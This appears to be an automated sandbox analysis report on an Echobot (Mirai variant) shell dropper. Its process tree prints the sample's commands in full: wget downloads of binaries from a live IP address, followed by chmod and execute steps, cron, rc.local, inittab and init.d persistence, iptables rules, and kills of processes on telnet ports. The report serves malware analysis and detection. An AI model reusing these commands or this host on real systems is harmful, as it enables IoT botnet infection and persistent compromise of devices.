Analysis
- max time kernel
74s - max time network
152s - platform
debian-9_mipsel - resource
debian9-mipsel-20260513-en - resource tags
- submitted
02/10/2026, 12:18
General
- Target c5d1086aa237add3b54b8c8115ce00f1b430a925167a98373af00eeddb866b4f.bin.sh
- Size 558B
- Sample261002-pg3bzavzfz
- SHA256 c5d1086aa237add3b54b8c8115ce00f1b430a925167a98373af00eeddb866b4f
Score
10/10
Malware Config
Signatures
- Family: Echobot
An updated variant of Mirai which infects a wide range of IoT devices to form a botnet.
- Detected Echobot 2 IoCs
- Contacts a large (98406) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
- Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
- File and Directory Permissions Modification 1 TTPs 2 IoCs
Adversaries may modify file or directory permissions to evade defenses.
- Executes dropped EXE 2 IoCs
- Modifies Watchdog functionality 1 TTPs 2 IoCs
Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.
- Creates/modifies Cron job 1 TTPs 1 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
- Enumerates active TCP sockets 1 TTPs 8 IoCs
Gets active TCP sockets from /proc virtual filesystem.
- Enumerates running processes
Discovers information about currently running processes on the system
- Looks up external IP address via web service 1 TTPs 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- Modifies init.d 2 TTPs 1 IoCs
Adds/modifies system service, likely for persistence.
- Write file to user bin folder 3 IoCs
- Reads process memory 1 TTPs 64 IoCs
Read the memory of a process through the /proc virtual filesystem. This can be used to steal credentials.
- Changes its process name 1 IoCs
- Reads system network configuration 1 TTPs 24 IoCs
Uses contents of /proc filesystem to enumerate network settings.
- Enumerates kernel/hardware configuration 1 TTPs 1 IoCs
Reads contents of /sys virtual filesystem to enumerate system information.
- Reads runtime system information 64 IoCs
Reads data from /proc virtual filesystem.
- System Network Configuration Discovery 1 TTPs 2 IoCs
Adversaries may gather information about the network configuration of a system.
- Writes file to tmp directory 2 IoCs
Malware often drops required files in the /tmp directory.
Processes
-
/tmp/c5d1086aa237add3b54b8c8115ce00f1b430a925167a98373af00eeddb866b4f.bin.sh/tmp/c5d1086aa237add3b54b8c8115ce00f1b430a925167a98373af00eeddb866b4f.bin.sh1⤵
- Executes dropped EXE
-
/usr/bin/wgetwget -qO- http://ifconfig.me2⤵
- System Network Configuration Discovery
-
-
/usr/bin/wgetwget -q http://178.132.198.200/bins/vcimanagement.mips -O j2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
-
-
/bin/chmodchmod +x j2⤵
- File and Directory Permissions Modification
-
-
/tmp/j./j2⤵
-
-
/bin/rmrm -f j2⤵
-
-
/usr/bin/wgetwget -q http://178.132.198.200/bins/vcimanagement.mpsl -O j2⤵
- Writes file to tmp directory
-
-
/bin/chmodchmod +x j2⤵
- File and Directory Permissions Modification
-
-
/tmp/j./j2⤵
- Modifies Watchdog functionality
- Modifies init.d
- Write file to user bin folder
- Changes its process name
-
/bin/shsh -c "iptables -A OUTPUT -p tcp --tcp-flags RST RST -j DROP 2>/dev/null"3⤵
-
/sbin/iptablesiptables -A OUTPUT -p tcp --tcp-flags RST RST -j DROP4⤵
-
-
-
/bin/shsh -c "(crontab -l 2>/dev/null | grep -v '.x'; echo '@reboot /usr/bin/.x'; echo '*/5 * * * * /usr/bin/.x') | crontab - 2>/dev/null"3⤵
-
/usr/bin/crontabcrontab -l4⤵
-
-
/usr/bin/crontabcrontab -4⤵
- Creates/modifies Cron job
-
-
/bin/grepgrep -v .x4⤵
-
-
-
/bin/shsh -c "grep -q '.svc' /etc/rc.local 2>/dev/null || sed -i 's|^exit 0|/usr/bin/.svc \\&\\nexit 0|' /etc/rc.local 2>/dev/null"3⤵
-
/bin/grepgrep -q .svc /etc/rc.local4⤵
-
-
/bin/sedsed -i "s|^exit 0|/usr/bin/.svc \\&\\nexit 0|" /etc/rc.local4⤵
-
-
-
/bin/shsh -c "grep -q '.svc' /etc/inittab 2>/dev/null || echo '::respawn:/usr/bin/.svc' >> /etc/inittab 2>/dev/null"3⤵
-
/bin/grepgrep -q .svc /etc/inittab4⤵
-
-
-
/bin/shsh -c "kill -HUP 1 2>/dev/null"3⤵
-
-
/bin/shsh -c "ln -sf /etc/init.d/svc /etc/rc.d/S99svc 2>/dev/null"3⤵
-
/bin/lnln -sf /etc/init.d/svc /etc/rc.d/S99svc4⤵
-
-
-
/bin/shsh -c "ln -sf /etc/init.d/svc /etc/rc3.d/S99svc 2>/dev/null"3⤵
-
/bin/lnln -sf /etc/init.d/svc /etc/rc3.d/S99svc4⤵
-
-
-
/bin/shsh -c "ln -sf /etc/init.d/svc /etc/rc5.d/S99svc 2>/dev/null"3⤵
-
/bin/lnln -sf /etc/init.d/svc /etc/rc5.d/S99svc4⤵
-
-
-
/bin/shsh -c "update-rc.d svc defaults 2>/dev/null"3⤵
-
/usr/sbin/update-rc.dupdate-rc.d svc defaults4⤵
-
/usr/local/sbin/systemctlsystemctl daemon-reload5⤵
-
-
/usr/local/bin/systemctlsystemctl daemon-reload5⤵
-
-
/usr/sbin/systemctlsystemctl daemon-reload5⤵
-
-
/usr/bin/systemctlsystemctl daemon-reload5⤵
-
-
/sbin/systemctlsystemctl daemon-reload5⤵
-
-
/bin/systemctlsystemctl daemon-reload5⤵
- Enumerates kernel/hardware configuration
- Reads runtime system information
-
-
-
-
/bin/shsh -c "iptables -D INPUT -p tcp --dport 23 -j DROP 2>/dev/null; iptables -A INPUT -p tcp --dport 23 -j DROP 2>/dev/null"3⤵
-
/sbin/iptablesiptables -D INPUT -p tcp --dport 23 -j DROP4⤵
-
-
/sbin/iptablesiptables -A INPUT -p tcp --dport 23 -j DROP4⤵
-
-
-
/bin/shsh -c "iptables -D INPUT -p tcp --dport 2323 -j DROP 2>/dev/null; iptables -A INPUT -p tcp --dport 2323 -j DROP 2>/dev/null"3⤵
-
/sbin/iptablesiptables -D INPUT -p tcp --dport 2323 -j DROP4⤵
-
-
/sbin/iptablesiptables -A INPUT -p tcp --dport 2323 -j DROP4⤵
-
-
-
/bin/shsh -c "killall -9 auto_update 2>/dev/null; rm -f /usr/bin/auto_update 2>/dev/null"3⤵
-
/usr/bin/killallkillall -9 auto_update4⤵
- Reads runtime system information
-
-
/bin/rmrm -f /usr/bin/auto_update4⤵
-
-
-
/bin/shsh -c "fuser -k -9 23/tcp 2>/dev/null"3⤵
-
/bin/fuserfuser -k -9 23/tcp4⤵
- Enumerates active TCP sockets
- Reads process memory
- Reads system network configuration
- Reads runtime system information
-
-
-
/bin/shsh -c "fuser -k -9 2323/tcp 2>/dev/null"3⤵
-
/bin/fuserfuser -k -9 2323/tcp4⤵
- Enumerates active TCP sockets
- Reads process memory
- Reads system network configuration
- Reads runtime system information
-
-
-
/bin/shsh -c "fuser -k -9 23/tcp 2>/dev/null"3⤵
-
/bin/fuserfuser -k -9 23/tcp4⤵
- Enumerates active TCP sockets
- Reads process memory
- Reads system network configuration
- Reads runtime system information
-
-
-
/bin/shsh -c "fuser -k -9 2323/tcp 2>/dev/null"3⤵
-
/bin/fuserfuser -k -9 2323/tcp4⤵
- Enumerates active TCP sockets
- Reads process memory
- Reads system network configuration
- Reads runtime system information
-
-
-
/bin/shsh -c "fuser -k -9 23/tcp 2>/dev/null"3⤵
-
/bin/fuserfuser -k -9 23/tcp4⤵
- Enumerates active TCP sockets
- Reads process memory
- Reads system network configuration
- Reads runtime system information
-
-
-
/bin/shsh -c "fuser -k -9 2323/tcp 2>/dev/null"3⤵
-
/bin/fuserfuser -k -9 2323/tcp4⤵
- Enumerates active TCP sockets
- Reads process memory
- Reads system network configuration
- Reads runtime system information
-
-
-
/bin/shsh -c "fuser -k -9 23/tcp 2>/dev/null"3⤵
-
/bin/fuserfuser -k -9 23/tcp4⤵
- Enumerates active TCP sockets
- Reads process memory
- Reads system network configuration
- Reads runtime system information
-
-
-
/bin/shsh -c "fuser -k -9 2323/tcp 2>/dev/null"3⤵
-
/bin/fuserfuser -k -9 2323/tcp4⤵
- Enumerates active TCP sockets
- Reads process memory
- Reads system network configuration
- Reads runtime system information
-
-
-
-
/bin/rmrm -f j2⤵
-
Network
MITRE ATT&CK Enterprise v16
Persistence
Boot or Logon Autostart Execution
1Boot or Logon Initialization Scripts
1RC Scripts
1Scheduled Task/Job
1Cron
1Privilege Escalation
Boot or Logon Autostart Execution
1Boot or Logon Initialization Scripts
1RC Scripts
1Scheduled Task/Job
1Cron
1Defense Evasion
File and Directory Permissions Modification
1Linux and Mac File and Directory Permissions Modification
1Impair Defenses
1Replay Monitor
Loading Replay Monitor...
Downloads
svc
inittab
j
j
.x
tmp.zA7Pw9